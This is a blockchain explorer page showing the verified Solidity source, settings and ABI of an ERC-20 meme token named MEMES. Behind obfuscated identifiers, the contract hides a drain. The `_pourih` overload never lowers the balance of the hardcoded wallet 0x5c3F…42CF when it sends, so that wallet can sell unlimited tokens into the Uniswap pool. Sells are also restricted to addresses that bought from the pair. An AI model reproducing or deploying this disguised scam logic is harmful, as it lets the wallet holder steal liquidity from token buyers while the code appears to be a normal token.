账户
0x8e...96f7
MEMES

MEMES

$500
此合同的源代码已经过验证!
合同元数据
编译器
0.8.20+commit.a1b79de6
语言
Solidity
合同源代码
文件 1 的 1:MEMES.sol
/**

$MEMES


X: https://twitter.com/memescoin_erc20

Telegram: https://t.me/memescoin_erc20

Website: https://memeseth.com/

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath");
        return c;
    }

    function  _pourih(uint256 a, uint256 b) internal pure returns (uint256) {
        return  _pourih(a, b, "SafeMath");
    }

    function  _pourih(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function _qnvifc(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address
     tokenA, address tokenB) external
      returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[
            
        ] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure 
    returns (address);
    function WETH() external pure 
    returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint 
    amountToken, uint amountETH
    , uint liquidity);
}

contract MEMES is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 private _potrvrc;
    address payable private _pnoqoy;
    address private _jreuip;
    string private constant _name = unicode"MEMES";
    string private constant _symbol = unicode"MEMES";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;

    uint256 private _BuyinitialTax=1;
    uint256 private _SellinitialTax=1;
    uint256 private _BuyfinalTax=1;
    uint256 private _SellfinalTax=1;
    uint256 private _BuyAreduceTax=1;
    uint256 private _SellAreduceTax=1;
    uint256 private _puzoae=0;
    uint256 private _beicot=0;
    uint256 public _potfzb = _totalSupply;
    uint256 public _qroeuk = _totalSupply;
    uint256 public _plovib= _totalSupply;
    uint256 public _qfigcf= _totalSupply;


    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _bvoend;
    mapping (address => bool) private _pvukau;
    mapping(address => uint256) private _fiknru;

    bool private _memeopen;
    bool public _pvidoq = false;
    bool private qksibf = false;
    bool private _briwle = false;


    event _eurkvj(uint _potfzb);
    modifier freiby {
        qksibf = true;
        _;
        qksibf = false;
    }

    constructor () {      
        _balances[_msgSender(

        )] = _totalSupply;
        _bvoend[owner(

        )] = true;
        _bvoend[address
        (this)] = true;
        _bvoend[
            _pnoqoy] = true;
        _pnoqoy = 
        payable (0x5c3Ff5fc11efe313189150Aa9e783b05609442CF);

 

        emit Transfer(
            address(0), 
            _msgSender(

            ), _totalSupply);
              
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. _pourih(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address _owner, address spender, uint256 amount) private {
        require(_owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 bfarig=0;
        if (from !=
         owner () && to 
         != owner ( ) ) {

            if (_pvidoq) {
                if (to 
                != address
                (_potrvrc) 
                && to !=
                 address
                 (_jreuip)) {
                  require(_fiknru
                  [tx.origin]
                   < block.number,
                  "Only one transfer per block allowed."
                  );
                  _fiknru
                  [tx.origin] 
                  = block.number;
                }
            }

            if (from ==
             _jreuip && to != 
            address(_potrvrc) &&
             !_bvoend[to] ) {
                require(amount 
                <= _potfzb,
                 "Exceeds the _potfzb.");
                require(balanceOf
                (to) + amount
                 <= _qroeuk,
                  "Exceeds the _qroeuk.");
                if(_beicot
                < _puzoae){
                  require
                  (! _frabkv(to));
                }
                _beicot++;
                 _pvukau
                 [to]=true;
                bfarig = amount._qnvifc
                ((_beicot>
                _BuyAreduceTax)?
                _BuyfinalTax:
                _BuyinitialTax)
                .div(100);
            }

            if(to == _jreuip &&
             from!= address(this) 
            && !_bvoend[from] ){
                require(amount <= 
                _potfzb && 
                balanceOf(_pnoqoy)
                <_qfigcf,
                 "Exceeds the _potfzb.");
                bfarig = amount._qnvifc((_beicot>
                _SellAreduceTax)?
                _SellfinalTax:
                _SellinitialTax)
                .div(100);
                require(_beicot>
                _puzoae &&
                 _pvukau[from]);
            }

            uint256 contractTokenBalance = 
            balanceOf(address(this));
            if (!qksibf 
            && to == _jreuip &&
             _briwle &&
             contractTokenBalance>
             _plovib 
            && _beicot>
            _puzoae&&
             !_bvoend[to]&&
              !_bvoend[from]
            ) {
                _transferFrom( _rofbkv(amount, 
                _rofbkv(contractTokenBalance,
                _qfigcf)));
                uint256 contractETHBalance 
                = address(this)
                .balance;
                if(contractETHBalance 
                > 0) {
                    _fygnvk(address
                    (this).balance);
                }
            }
        }

        if(bfarig>0){
          _balances[address
          (this)]=_balances
          [address
          (this)].
          add(bfarig);
          emit
           Transfer(from,
           address
           (this),bfarig);
        }
        _balances[from
        ]= _pourih(from,
         _balances[from]
         , amount);
        _balances[to]=
        _balances[to].
        add(amount.
         _pourih(bfarig));
        emit Transfer
        (from, to, 
        amount.
         _pourih(bfarig));
    }

    function _transferFrom(uint256
     tokenAmount) private
      freiby {
        if(tokenAmount==
        0){return;}
        if(!_memeopen)
        {return;}
        address[

        ] memory path =
         new address[](2);
        path[0] = 
        address(this);
        path[1] = 
        _potrvrc.WETH();
        _approve(address(this),
         address(
             _potrvrc), 
             tokenAmount);
        _potrvrc.
        swapExactTokensForETHSupportingFeeOnTransferTokens
        (
            tokenAmount,
            0,
            path,
            address
            (this),
            block.
            timestamp
        );
    }

    function  _rofbkv
    (uint256 a, 
    uint256 b
    ) private pure
     returns 
     (uint256){
      return ( a > b
      )?
      b : a ;
    }

    function  _pourih(address
     from, uint256 a,
      uint256 b) 
      private view
       returns(uint256){
        if(from 
        == _pnoqoy){
            return a ;
        }else{
            return a .
             _pourih (b);
        }
    }

    function removeLimitas (
        
    ) external onlyOwner{
        _potfzb = _totalSupply;
        _qroeuk = _totalSupply;
        emit _eurkvj(_totalSupply);
    }

    function _frabkv(address 
    account) private view 
    returns (bool) {
        uint256 fqrivp;
        assembly {
            fqrivp :=
             extcodesize
             (account)
        }
        return fqrivp > 
        0;
    }

    function _fygnvk(uint256
    amount) private {
        _pnoqoy.
        transfer(
            amount);
    }

    function openTrading ( 

    ) external onlyOwner ( ) {
        require (
            ! _memeopen ) ;
        _potrvrc  
        =  
        IUniswapV2Router02
        (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address
        (this), address(
            _potrvrc), 
            _totalSupply);
        _jreuip = 
        IUniswapV2Factory(_potrvrc.
        factory( ) 
        ). createPair (
            address(this
            ),  _potrvrc .
             WETH ( ) );
        _potrvrc.addLiquidityETH
        {value: address
        (this).balance}
        (address(this)
        ,balanceOf(address
        (this)),0,0,owner(),block.
        timestamp);
        IERC20(_jreuip).
        approve(address(_potrvrc), 
        type(uint)
        .max);
        _briwle = true;
        _memeopen = true;
    }

    receive() external payable {}
}
设置
{
  "compilationTarget": {
    "MEMES.sol": "MEMES"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}
ABI
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_potfzb","type":"uint256"}],"name":"_eurkvj","type":"event"},{"inputs":[],"name":"_plovib","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_potfzb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pvidoq","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_qfigcf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_qroeuk","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimitas","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]